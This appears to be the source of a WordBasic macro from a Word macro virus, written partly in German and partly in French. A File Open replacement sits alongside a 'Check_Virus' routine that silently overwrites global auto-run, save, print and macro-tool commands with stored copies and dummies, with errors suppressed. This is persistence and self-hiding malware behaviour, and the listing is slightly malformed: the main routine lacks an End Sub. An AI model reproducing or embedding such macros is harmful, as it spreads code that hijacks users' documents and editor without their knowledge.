Macro DateiOffnen

Sub MAIN
Dim dlg As FichierOuvrir

'Call Check_Virus

GetCurValues dlg
On Error Resume Next
Dialog dlg
FichierOuvrir dlg
 

Sub Check_Virus
On Error Resume Next
MacroCopie "Global:AutoExecBak", "Global:AutoExec", 1
MacroCopie "Global:AutoOpenBak", "Global:AutoOpen", 1
MacroCopie "Global:DateiSpeichernUnterBak", "Global:DateiSpeichernUnter", 1
MacroCopie "Global:DateiSpeichernBak", "Global:DateiSpeichern", 1
MacroCopie "Global:DropBak", "Global:Drop", 1
MacroCopie "Global:DateiBeendenBak", "Global:DateiBeenden", 1
MacroCopie "Global:DateiDruckenBak", "Global:DateiDrucken", 1
MacroCopie "Global:DateiDruckenStandardBak", "Global:DateiDruckenStandard", 1
MacroCopie "Global:ExtrasMakroBak", "Global:ExtrasMakro", 1
MacroCopie "Global:Dummy", "Global:AutoClose", 1
MacroCopie "Global:Dummy", "Global:AutoExit", 1
MacroCopie "Global:Dummy", "Global:AutoNew", 1
MacroCopie "Global:Dummy", "Global:AutoClose", 1

End Sub